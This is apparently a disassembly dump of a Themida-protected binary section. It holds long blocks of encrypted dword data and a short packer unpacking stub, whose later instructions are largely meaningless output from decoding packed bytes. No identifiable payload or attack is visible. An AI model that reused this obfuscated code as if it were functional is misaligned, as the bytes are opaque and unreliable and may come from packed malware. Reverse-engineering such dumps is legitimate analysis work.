dd 0C16C64FCh, 56D3BA0h, 5BB5F5EFh, 6E7EBC3Ch, 8FC45F56h
dd 1B8ED8D1h, 507625B6h, 95EB6459h, 66030DC4h, 12372D5Ch
dd 2B6658h, 0DE320947h, 9259F66Eh, 0F62A3C69h, 33DA9F3Dh
dd 0CD8C6B9Bh, 0E4BDDB25h, 9CEE46F9h, 62A25EBCh, 0CA38BB56h
dd 296DD7FCh, 0E86AECEDh, 5, 0A9F794A2h, 0DB86640h, 958B59E6h
dd 6A81549h, 62F5C181h, 6E90000h, 3D000000h, 0B72A3F10h
dd 18816886h, 9D290000h, 6A82F85h, 0DA81665Fh, 31FF3761h
dd 1F89BD89h, 605E06A8h, 2840Fh, 61600000h, 2E218D8Bh
dd 816106A8h, 42298DEEh, 0AE800h, 510A0000h, 16FCFB83h
dd 0A044C486h, 2649850Bh, 815806A8h, 4D37F7F6h, 0A8F68132h
dd 8B7AF416h, 0A801F585h, 51318906h, 5849F780h, 0F9E1E981h
dd 0D08011CCh, 0DDC18121h, 0F11CCF9h, 1E8Ah, 85236000h
dd 6A80151h, 11E9h, 75FDC300h, 976AC6Ah, 45905A93h, 2575E63Ch
dd 4F611BF3h, 13850Fh, 0B7560000h, 32E95AD2h, 39000000h
dd 0D9374A93h, 3F19D413h, 0AE9BDh, 65FA0000h, 0C842792Bh
dd 0E835CAE3h, 0FFFF51E9h, 458090FFh, 16A482Ch, 0C6D0D4FCh
dd 7D45B376h, 0AE5FA085h, 0D90CEBFCh, 9B7A3653h, 0FF35C4B1h
dd 0E918E5F7h, 646h, 63AE9h, 21680F00h, 50153AE5h, 86CF69CAh
dd 0B6F39F00h, 0E3AECF70h, 7999D8A7h, 0AE1195D8h, 0DA45C18Ch
dd 0CB7F3BAh, 29A2069h, 216AAED8h, 1258B607h, 155CFF35h
dd 3C751788h, 410C2EF7h, 0D6F406DCh, 0FCE28472h, 3C1558F9h
dd 5F1233FCh, 7D3051D2h, 86C36F30h, 90D97F60h, 89C01A13h
dd 0E34CC944h, 45DE4DEBh, 0F46E223h, 139089A2h, 7BB8FD92h
dd 0DB902B2h, 75495FBh, 5FC46FB6h, 5FEBA2C6h, 0F79554F4h
dd 9E58C5BEh, 32A153A7h, 8A175AFCh, 0EF347919h, 93228328h
dd 30AAB00h, 709E2C65h, 30EB19E6h, 0CCDD420Fh, 451C1532h
dd 8E540626h, 0E4342D52h, 9C4AF123h, 50E6086Ah, 0CC51FA39h
dd 42783153h, 89C47208h, 5A29A1E4h, 0A6D418C8h, 0D436E82h
dd 953E8414h, 0F571BEF7h, 0F325680Ah, 0BCABFE75h, 0CC89A56Ch
dd 0D491BE67h, 0C263C84Fh, 4CD198BBh, 2B33625Bh, 0AC3F7B8Dh
dd 10D6CBCh, 73E3710Ah, 51C77072h, 123239FAh, 2044AF5Bh
dd 45D3C469h, 8DAE11FFh, 7DDF68C0h, 19FA20C6h, 0D49DBB7Ah
dd 33655E4Fh, 64A70235h, 0CA57C073h, 64A70400h, 59BAA073h
dd 0A0EB838h, 0F87364A7h, 5932665Fh, 6EEDAD8h, 1309D6D3h
dd 12000000h, 703559BAh, 98DD7233h, 8F29021Bh, 3C300h
dd 5DFF1B00h, 72168F14h, 4248F3Bh, 0F5EEA7C5h, 0DD4AC0A3h
dd 662F4D54h, 75DD7F20h, 52155A65h, 0AB08E1E4h, 7A3F54BFh
dd 15B4E435h, 20AAB0EFh, 36107562h, 0F853C5B8h, 880C3037h
dd 58353A7Eh, 362F08AFh, 60294FF0h, 96BC27C3h, 0DB5D4ED3h
dd 4F7B3E54h, 1A285C0Dh, 48E02551h, 0F6BF14DBh, 0BA0049EFh
dd 9AE14B40h, 7A37582Eh, 0AEE3832Ch, 0BFFA9778h, 5B551B27h
dd 66B27823h, 377A1C85h, 0E30BEAh, 0B3FA9A5Fh, 0D44455DAh
dd 8FAFB67Fh, 38D224C2h, 0B85F2615h, 4FD0BAFEh, 0D4h, 0E9ABE76Ah
dd 0C01D1B5Dh, 4EEE5FECh, 20812E07h, 4DF6347Dh, 3D3D622Bh
dd 0AF5800FDh, 4B52D3F8h, 7D26642Dh, 0BF2371DDh, 32F1A353h
dd 284BD459h, 0E4513C61h, 5F12343Bh, 0E22748ABh, 84140D40h
dd 0B8F5953Eh, 989AA7Bh, 57FBBBFFh, 0D96389AFh, 0AF57FBE1h
dd 0A69F88A3h, 0CC85A879h, 329ABE67h, 0A1900BE2h, 0DA4730B5h
dd 3F642949h, 69CA63EEh, 258E27EAh, 0F5317C1Eh, 0CF82A40Fh
dd 0E8A5C669h, 7CFF244Bh, 940D92D7h, 2576BBFEh, 41EEA3C4h
dd 382763A5h, 321DAF58h, 0FE7D268Fh, 0B8C26872h, 0AF583880h
dd 0D44FE942h, 6E23444Bh, 9CD577D8h, 37D0D717h, 3AB7AF58h
dd 86A53779h, 6AAED806h, 58AF57E7h, 8118E7FFh, 8EAE71A7h
dd 3F642D4Fh, 8AB1F5EEh, 8F145DFFh, 0F23F7616h, 161D862Fh
dd 11EB3F76h, 0AF57DBF2h, 25678D39h, 0AF57DBE5h, 702474DFh
dd 12DFD785h, 0FFFF0460h, 0F5997AFFh, 0C93A73B0h, 6FB8E5A8h
dd 30BAE2C9h, 6F04B9EDh, 5A94852Ah, 0C7D4BDEh, 0ABFC2168h
dd 291ABA0Dh, 0BC6A430Ah, 6E1BF03Ah, 56C2A633h, 3F14668Ch
dd 0B0A43FE0h, 8C63E533h, 76B60070h, 298A50DDh, 4BD44409h
dd 5A456128h, 0FB2C7134h, 0C96CD7BDh, 0B5C72380h, 916941E9h
dd 278820E6h, 40E14E0Bh, 79EFB21Eh, 0E12E526Fh, 58FAAB08h
dd 95028815h, 0BD2E8D0Ch, 74EEDF4h, 347D2083h, 0BF286FEFh
dd 0C865B600h, 0FC3D6067h, 0EE3C155Ch, 0C26F2645h, 0BA60DB79h
dd 0A8EC1500h, 0C644EFBCh, 0BE6CD745h, 5836EA0Ch, 8B2D8C3h
dd 0C3583710h, 2ABCF593h, 0B77DC901h, 48D5A9FDh, 0AB14D25Fh
dd 672E4E8Bh, 0A008E13Ah, 96145DFFh, 0AFCE0F2Dh, 7760B9E6h
dd 0B4BA3C2Ah, 6B46A225h, 0D4904534h, 0ED744E1Ah, 788ABD4Bh
dd 7F193FF2h, 1538E936h, 0BB10D75Ch, 0D11F7BFAh, 781911ABh
dd 0A1EB3FF2h, 8F259635h, 0E3352E14h, 0FCA0A708h, 0ACCE71B5h
dd 1986CF69h, 5C8A1700h, 9909D91Ah, 0A90F0870h, 822F6606h
dd 0E74C0121h, 0C855103Eh, 3C43EC49h, 0D0C9561Bh, 51D2B9E7h
dd 45D85541h, 0E6B082h, 0FF8B0000h, 30931752h, 3E7A8C08h
dd 4AF57D7h, 0D29BBA2Bh, 27635C4Dh, 7793D67Ch, 728E98Ch
dd 0DBB4E54Ah, 69D34556h, 37722083h, 0D81D3EE1h, 64B5FAB7h
dd 0F3943F8Bh, 0D05D1836h, 8D66234Fh, 8DAD1694h, 0BBD97AC0h
dd 680BB4F2h, 781A8521h, 0D72EBD35h, 0AA1F0B2Ch, 1C5E840Eh
dd 0D577E91Bh, 0AF5803D5h, 3B4A84AFh, 0CB69DA18h, 0AC0C1D82h
dd 84A76203h, 766F2645h, 0B6B4109Dh, 37612C4Dh, 0A8CB54h
dd 0D3D286A4h, 24896273h, 0D92D77Bh, 76BBFE94h, 0DA59DAF3h
dd 35159E37h, 7A959537h, 684BAF58h, 0E12F89C0h, 8F74F036h
dd 4EA33553h, 0B1780CB6h, 3BBBFF07h, 7981AF58h, 676F9ADh
dd 0CE6AC505h, 8B41h, 69916400h, 0AF57D734h, 1E83CE6Fh
dd 63558ECh, 0F86911CAh, 3D901D54h, 0A968E748h, 6BD0A30Ch
dd 0F31752FFh, 0D6F73355h, 62CDAF57h, 45E34C36h, 7915BE0Ch
dd 0E1DA9FB4h, 2D6D9FC5h, 17AF57D7h, 0E816FC3Ch, 0D7003842h
dd 69C2AF57h, 723F60CFh, 0A7EA8B34h, 44738563h, 96603293h
dd 179CD577h, 248B2D06h, 58FB4F02h, 66497D34h, 6C216EC6h
dd 860CF751h, 1E810BADh, 6FF0367Fh, 0Ch, 0AF30BA4Ah, 6A40AFF7h
dd 0A29959DFh, 8C1158FFh, 0F4397013h, 0E340092Bh, 0C06D2042h
dd 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h, 4AD792BFh
dd 5FD368FAh, 4890000h, 0E1895124h, 4C181h, 0E9810000h
dd 4, 5C240C87h, 68241489h, 5D6Ah, 57241C89h, 852476BFh
dd 0BDB85026h, 2151716Bh, 0E78158C7h, 2D78615Ch, 912C781h
dd 0EF817922h, 7272DE36h, 815FFA89h, 4ECh, 24248900h, 4240483h
dd 8B8505Bh, 1000000h, 0D68956D8h, 585E3089h, 5B2434FFh
dd 0FF04C483h, 835A2434h, 0A3E904C4h, 19FFF92Ch, 0D7F5A187h
dd 6B3D6A6Ch, 0B8F765DEh, 6AF50A4h, 0D38BC503h, 75FDED55h
dd 76F67A5Eh, 56E669A4h, 1BFD49BCh, 79FD2124h, 0BEFD210Ah
dd 1CFD211Ch, 0EFD2194h, 0E4FD2151h, 0CDFD21B3h, 0A2FD21C2h
dd 99FD217Ah, 0C4FD2126h, 9DFD210Bh, 0F6FD211Ch, 53FD2196h
dd 30FD2152h, 1DFD21B0h, 0D9FD21C1h, 2DFD2178h, 9DFD2124h
dd 95358A25h, 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah
dd 75F57227h, 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h
dd 75FC7B78h, 75FD7ABCh, 76FD7A5Eh, 75A61832h, 75A619BBh
dd 75FD7ACBh, 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh
dd 73522F15h, 247FFFA6h, 0F0707C38h, 73522FAAh, 24BFFF6Ch
dd 0F0707C5Dh, 73522FE6h, 2483FF35h, 0F0707CF1h, 73522ED0h
dd 24BBFF1Eh, 0F0707C64h, 73522E5Bh, 24B7FF7Bh, 0F0707CD6h
dd 735229E0h, 24B3FFD7h, 0F0707C80h, 735229F9h, 24AFFF42h
dd 0F0707C4Ah, 73522976h, 24ABFFF0h, 0F0707C13h, 73522981h
dd 249FFFA6h, 0F0707C38h, 73522960h, 24A7FF6Ch, 0F0707C5Dh
dd 735229B3h, 24A3FF35h, 0F0707CF1h, 735229F0h, 249FFF1Eh
dd 0F0707C64h, 73522EFCh, 248FFF7Bh, 0F0707CD6h, 73522E84h
dd 248BFFD7h, 0F0707C80h, 73522ECCh, 2487FF42h, 0F0707C4Ah
dd 73522E56h, 249BFFF0h, 0F0707C13h, 73522E85h, 2497FFA6h
dd 0F0707C38h, 73522FBDh, 2493FF6Ch, 0F0767C5Dh, 73557ACCh
dd 2446FF35h, 0F0767CF1h, 735572F2h, 2442FF1Eh, 0B69C7C64h
dd 9D11F1B0h, 75FD7AF2h, 0BA17FB23h, 25FBD5EEh, 0FDF53FD5h
dd 0DAACC0ADh, 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah
dd 987C2779h, 7352284Ch, 24BCFFA0h, 0C87D7C80h, 73522BD6h
dd 0C5B409CFh, 0B54B75E4h, 3589BAF9h, 2442EF86h, 0FEBD7C13h
dd 7A452B96h, 8AFD7A2Fh, 0DAACC502h, 3748F7CDh, 0F8FBD5B4h
dd 9D50FCC6h, 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 0DAACC5BAh
dd 3748F791h, 0F8FBD59Ah, 8A50FCD1h, 0BC1F2322h, 24BCF787h
dd 2DA07C13h, 2CA32005h, 776D92ECh, 0CD4D7A97h, 8A5779C1h
dd 0DAACC170h, 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h
dd 2446EFD0h, 0DE9B7C38h, 77959208h, 360B7AE5h, 6E8872F3h
dd 2446EF86h, 0C54D7C13h, 8AAD7954h, 0DAACC1BAh, 0F69B2091h
dd 7E9B7E2Bh, 0B6561C27h, 75FF6B1Ah, 4E152979h, 2FFD7ABEh
dd 7B89A065h, 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h
dd 75FD7B00h, 77E1922Ah, 4EA77ABCh, 0C5120E84h, 0A916D049h
dd 75FCA77Fh, 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h
dd 548872BDh, 6889A065h, 913D59A5h, 0F5DF7094h, 0FF4DBA07h
dd 0CE6885B5h, 2FFBD5A3h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h
dd 74BD9285h, 0F44D7A97h, 74359261h, 2D157AE5h, 0DEFD7AF2h
dd 75FC5791h, 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h
dd 9D561C4Ah, 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h
dd 0B657E7EEh, 9D57E69Fh, 75FD7A69h, 75FCF323h, 74BE8CE5h
dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h
dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 2442EF0Dh, 0C0707CD6h
dd 73522B3Ah, 7F518A5Dh, 0E002D02Ch, 73522B2Ch, 74E59208h
dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh
dd 0C53ED02Ch, 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh
dd 8A036B91h, 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch
dd 0FEA77ACBh, 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h
dd 2D4D7A5Eh, 0B6577925h, 24C5FF69h, 0C87D7C64h, 73522BDDh
dd 0F8EC0FF3h, 0DAACD0FCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh
dd 9D571A27h, 8A028775h, 8A00C30Dh, 0DF9CCA0Dh, 24C5F787h
dd 0C87D7C13h, 73522B66h, 0F8F10F2Fh, 0DAACD012h, 0DE152ACDh
dd 0B6FD7AE4h, 75FD7E4Ah, 0CA688579h, 0F8FBD5EDh, 0DAAB7DC3h
dd 6DF9F029h, 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h
dd 7115F9BBh, 8A3E7835h, 0DAACC1CBh, 514ACE29h, 0C1FF0E96h
dd 13F2CA74h, 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h
dd 0B5F179BEh, 0B6577825h, 2446EF68h, 917D7C64h, 0F539FAEAh
dd 0DE9B7542h, 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh
dd 7345B995h, 8AFD7ACBh, 0DAACC570h, 0EB60F7F4h, 0F8FBD528h
dd 0CD3E39A0h, 75FD7A4Eh, 2442EFD0h, 0B57E7C38h, 8935F1CEh
dd 2446EF1Ah, 97577C5Dh, 0BE15B98Eh, 0FF028543h, 72D97B1Dh
dd 76778E5Ah, 75FC6C7Fh, 0B61608CBh, 8908831Dh, 0F611F1A7h
dd 9D9D86BDh, 75FD7ABCh, 6217FB04h, 0FCFBD579h, 0CF7D86EAh
dd 73522B71h, 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 2442E843h
dd 0FCBD7CF1h, 0DAACB9ADh, 0F835F191h, 0DAAB9179h, 0CE6F85E3h
dd 0FDFBD5A3h, 801F3C7Fh, 75FD6D04h, 0B67F795Eh, 35FBD57Eh
dd 2322E01Ah, 0B67E7C64h, 22FEF3E1h, 75FD644Bh, 0B6777979h
dd 0F8FBD5EDh, 0DAABB7ECh, 2B598929h, 75FD722Fh, 0CA6F85CBh
dd 0F6FBD5B4h, 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah
dd 761EBBF7h, 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h
dd 75FD61C0h, 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh
dd 8980F334h, 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch
dd 0FCA58E7Ah, 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h
dd 75FD7AF2h, 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh
dd 23039016h, 0CF707C64h, 73522B22h, 0CCF50F79h, 75FD7A71h
dd 0BC9CDE4Fh, 26FD7E9Ch, 243AE7A2h, 497D7C38h, 71887BD3h
dd 771683BEh, 203E82A9h, 9D9D96F2h, 75FD7ABCh, 4217FB04h
dd 0F8FBD578h, 0DAACBD25h, 7D80F1CDh, 75FD725Ch, 145989F2h
dd 75F9B8B0h, 0B240F7DCh, 46FBD50Fh, 75F5C3EFh, 0DF0E7A97h
dd 0F89DB9AAh, 0DAACBD58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h
dd 74FC7B5Fh, 9E04795Ah, 0B69C8296h, 0B240F7ABh, 0CDFBD5B4h
dd 75FD7AF3h, 75FD72C0h, 145789BCh, 0FE3DF19Dh, 0A178F7EFh
dd 8AFBD5C6h, 0E9CA8BD0h, 2Ah, 2404C7h, 0E8000000h, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6AF57B7h
mov eax, [esp+4]
mov [ebp+6A830BDh], eax
mov eax, 0
lea ecx, [ebp+6A84FAFh]
jmp ecx
; ---------------------------------------------------------------------------
mov eax, 6754h
dec dl
push edi
push ecx
or ch, [eax-75B1262Ch]
xchg eax, edx
push ecx
or ch, [eax+75EAD5ABh]
push 56h
or ch, [eax-75B1212Eh]
mov edx, 8F57AE5Dh
fimul word ptr [esi-76h]
pop edx
push edi
or ch, [eax+75EAD5ABh]
sub eax, 0FDA80A57h
fisttp word ptr [esi-76h]
scasd
push edi
or ch, [eax-75B12381h]
and [edx+ecx-58h], edx
stosd
aad 0EAh
jnz short loc_5BF24F
das
aam 0ADh
or eax, 0C0031385h
jle short near ptr loc_5BF239+1
pop es
push edx
cmpsd
nop
stc
loc_5BF239: ; CODE XREF: Themida_:005BF232j
sbb al, 0Dh
push edi
and ecx, edx
retf 2542h
; ---------------------------------------------------------------------------
inc ebx
das
aam 62h
or eax, 0C0031385h
inc esi
push es
pop es
push edx
cmpsd
loc_5BF24F: ; CODE XREF: Themida_:005BF228j
nop
test al, 1Fh
or eax, 0C6D12157h
inc edx
and eax, 0D1D42F43h
push cs
test [ebx], edx
add eax, eax
push edx
push es
pop es
push edx
cmpsd
nop
inc esp
pop ds
or eax, 0D2D12157h
inc edx
and eax, 0BAD42F43h
jnz near ptr 5F1BF58Eh
push es
pop es
push edx
cmpsd
nop
rcr dword ptr [esi], 1
or eax, 2ED12157h
dec ebp
and eax, 34D42F43h
jnz near ptr 0AB1BF5A6h
or [edi], eax
push edx
cmpsd
nop
push edi
push ds
or eax, 26D12157h
dec ebp
and eax, 0B6D42F43h
or [ebp-4D3FFCEDh], al
or [edi], eax
push edx
cmpsd
nop
fstp qword ptr [ecx]
or eax, 3ED12157h
dec ebp
and eax, 12B8C343h
push eax
sub dl, ds:0D24ECEDFh
insb
test al, 4Ah
std
mov al, [ebp-5Eh]
push ecx
repne aad 0C0h
stosb
shr dl, cl
movsb
xchg eax, esi
in eax, dx
test al, 2Ah
adc eax, 2429458Ah
mov al, ds:0B496E367h
mov edx, 54A1D5ADh
sub dl, ds:5564C6CBh
inc ecx
mov edx, 0CE75EAD5h
arpl [esi-42DD76C6h], bp
mov word ptr [edx+eax*2+2211AB53h], es
jmp far ptr 0ABA4h:245D55FFh
; ---------------------------------------------------------------------------
dw 9C3Ah
dd 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh
dd 0D2262923h, 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h
dd 0DB2FEE27h, 1385064Dh, 1129475h, 0F0A0D902h, 0AEA4EAD8h
dd 51A1EC79h, 0DC0941AEh, 0BA78B122h, 3773BA8Ch, 732ADF10h
dd 0B428C821h, 0EA2CFBFAh, 152BFD5Bh, 9881508Ch, 0FEF0A000h
dd 0A5FBABAEh, 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h
dd 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 6AC0D5F2h, 0DAA4EAD3h
dd 68A15CDDh, 0ADE78286h, 152A54A8h, 0E430BACCh, 9E2CFCA8h
dd 0FC69CE52h, 0A5B99783h, 0FA31EFE2h, 0F0A0D9F9h, 0AEA4EAD8h
dd 949A0D79h, 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h
dd 985E0001h, 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah
dd 4CFCBE29h, 24294325h, 1957DFA0h, 515E004Dh, 532A54A8h
dd 5117D775h, 0CDA15200h, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h
dd 0F0A0D9F9h, 0AEA4EAD8h, 949A0D79h, 651A2320h, 8481328Ch
dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh
dd 919197B9h, 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh
dd 1523EDA8h, 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h
dd 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh
dd 9E7F54A0h, 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh
dd 0C20E458Ah, 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah
dd 9125AB54h, 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah
dd 0E0A2458Ah, 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h
dd 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h
dd 515E004Dh, 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h
dd 0BA78B122h, 0E173BA8Ch, 9FA7FEF8h, 570D176Fh, 0D6A08557h
dd 5DDF6E20h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h
dd 60A13454h, 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh
dd 597FD775h, 45265200h, 0B428C820h, 0EA2CFBFAh, 0FB2BF55Bh
dd 3186949Bh, 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h
dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh
dd 0E96F93A4h, 51A2458Ah, 87D5FE04h, 570A453Fh, 17868C23h
dd 0DB2FEF49h, 1385064Dh, 0E9C49475h, 0BE4CBD28h, 7A088600h
dd 68A358D5h, 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh
dd 0DAAA3001h, 50ED58D5h, 51A24576h, 0EA80F8A8h, 0F9A2F018h
dd 0B9E2DFAEh, 0DC088558h, 0BA78B132h, 3771BA8Ch, 73E39410h
dd 0FB63CF21h, 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h
dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h
dd 5117D775h, 0DDA15200h, 0FB637726h, 47CFCE25h, 825D4325h
dd 0E4AAECCEh, 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h
dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
dd 732A54A8h, 376B7732h, 0F0B0D903h, 0AEA4EAD8h, 9592327Bh
dd 0FD09234Bh, 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h
dd 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h
dd 0B824FDECh, 8FA7FFCEh, 570D176Fh, 0A09A8757h, 0FB0E0320h
dd 47CFCE25h, 825D4325h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h
dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah
dd 0B2C0D5F2h, 96A4EAD6h, 152AA8EDh, 2429458Ah, 1957DFA0h
dd 5E917926h, 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah
dd 152A492Ch, 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah
dd 5EFA798Ah, 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h
dd 42F6CE25h, 0DCF14325h, 0BA72E732h, 0D871BA8Ch, 42C3A8EDh
dd 0AEA2458Ah, 60D558DDh, 0BD38C882h, 462CFBFFh, 911DF07h
dd 0C6D55207h, 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh
dd 570D1272h, 0A6B0D9FBh, 0AEA4EAD2h, 0E96FDD7Bh, 51A25863h
dd 195FABA8h, 0DCAA3075h, 0BA725032h, 0CB2F168Ch, 13850C1Bh
dd 142B9675h, 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h
dd 8D000030h, 0AF5E038Dh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 0FCCDAB13h
dd 8D89C38Bh, 6A805B9h, 6E9h, 3E80C300h, 0C7082152h, 0A8146985h
dd 6F9C06h, 1DD08100h, 0C7529C1Ch, 0A80BBD85h, 6, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0F47834F2h, 0B5FFF750h, 6A8298Dh, 5B59E781h, 95FF1B23h
dd 6A820DDh, 6CEB9CB8h, 0FF006A52h, 0A81B3195h, 0EBC08B06h
dd 54D72D59h, 65174A73h, 0B5E1CCE6h, 8EF8CCAFh, 13872B7Bh
dd 0AAE45CAh, 35B5472Ch, 3E269AC9h, 7F8229B8h, 5F2E4145h
dd 61D8CA2Ch, 9E772A7Fh, 5EF71322h, 6CD62C0Bh, 178C555Bh
dd 0C13124C7h, 5E4AC833h, 63B1D760h, 0E763490Fh, 0F9417674h
dd 4254A8B9h, 4A08AD55h, 1FE99F9Eh, 42000000h, 2D30A7h
dd 6 dup(0)
dd 24E90000h, 75000005h, 0A40F9BD2h, 0D37CCA8Fh, 5AEFCB5h
dd 359E2C69h, 46CD5914h, 0F3BEDF33h, 276A0CB7h, 551C40E3h
dd 86CF6ED1h, 446A400h, 0B6073504h, 7152B8FEh, 0B1098DDh
dd 0F1155CFFh, 0AC266F0Eh, 7C4C1F0Eh, 2E9D1B2Eh, 0D99D475h
dd 0B0FB9E7h, 0F9AF58BFh, 3655DA5Eh, 0D271327Fh, 0E7C8169Bh
dd 0FFA00841h, 0B3FE9F52h, 0A7CC55DAh, 41E4BDE2h, 5BFAAB08h
dd 359C8D12h, 15981798h, 55F8FFA0h, 7258E1Ch, 1137984Eh
dd 0C96AD058h, 0E4BDE2ABh, 5FA20F42h, 0E3AD76h, 0B1F89B5Eh
dd 0D6425BD8h, 24622B49h, 7919D87Bh, 14D65B34h, 0AF58BF11h
dd 0E9B37C7Bh, 0BF013943h, 68C3AF58h, 3E7854C0h, 589F12DFh
dd 0A0000000h, 0FB9D5CFFh, 9254D9B2h, 0AF57D794h, 2230F1E6h
dd 12DFD636h, 1D1h, 52FF6A00h, 735C8A17h, 82B9CD5h, 6DCBDC41h
dd 7109ADC2h, 0AFAEE14Bh, 56CF544Dh, 66497D38h, 0B92A8EC7h
dd 8DAF10DAh, 0EA4E5FC4h, 84A9B071h, 3DBEFA0Ch, 0AB84AF58h
dd 0A8CB74B2h, 0BA7EA5E1h, 2E733A59h, 53F4BBFDh, 1F33F296h
dd 0EBC4D55Ah, 5FF4ADF2h, 6C0C951Ah, 727F825h, 0F229E54Ah
dd 0F65FA231h, 83C5632Dh, 0AF57D787h, 0D946D27Dh, 4BB1F5B8h
dd 9E9DE001h, 892F7490h, 0E14E0726h, 69DDF05h, 0ABF4743Ah
dd 413F7B83h, 0C364AF58h, 45D37C8Eh, 0AAF7BEDAh, 0B6C46DC6h
dd 12DFBE2Ah, 0A42Dh, 5EFFF600h, 6AB7FA9Bh, 0FDFDB931h
dd 0F36D647Dh, 6C0C951Ah, 63C08DADh, 53CC514Ah, 6B347930h
dd 256809C8h, 69B6AFF8h, 9571E5D1h, 3D7096E1h, 0C568E748h
dd 0A7C8CF50h, 52F35CEAh, 5770A8D2h, 1033AF58h, 3C3D459h
dd 31F23F28h, 75DB581Dh, 14B159Eh, 0BC4D2F0Dh, 1DAF5B8Fh
dd 0AF585E1Dh, 48EC4CE7h, 12DF53ACh, 6BABh, 30BA7C00h
dd 0FF7C8AFEh, 951A9E60h, 0B81C31F4h, 48229F34h, 0B1FED743h
dd 280148F0h, 0DB6D8B3Fh, 0AF58A9DFh, 0BD2E8AA5h, 0A40940E4h
dd 0F169F14h, 0C48DAB6Eh, 0D1554E5Fh, 0EA1CBAEAh, 0AF57D6AEh
dd 2B4ABB94h, 0C4693662h, 0FF246909h, 0F268B5AEh, 0D6F63254h
dd 63CCAF57h, 0D6F43335h, 5146AF57h, 0D6D6C2D0h, 13112DFh
dd 0A000000h, 753859BAh, 0F6B9FF28h, 0BCF59352h, 0E04D2677h
dd 6E981C3Fh, 0AF57D72Ah, 0D9463F18h, 0A8F4BD16h, 0D6C0F802h
dd 0A982AF57h, 0B1F8A00Fh, 0D962D275h, 0E4409B2Dh, 2902B5FFh
dd 3D7012FDh, 7C9B46F0h, 0F1C462DBh, 72339018h, 0A30C9AD3h
dd 0E264C980h, 0B60029A4h, 561A9B10h, 1187CE6Dh, 60A6EF8Eh
dd 0EE570FAh, 0EC5C4D95h, 940E34Ch, 9958FBA4h, 3E6FB4F9h
dd 0FC59D845h, 40092C33h, 6C6652FAh, 28811477h, 9A000001h
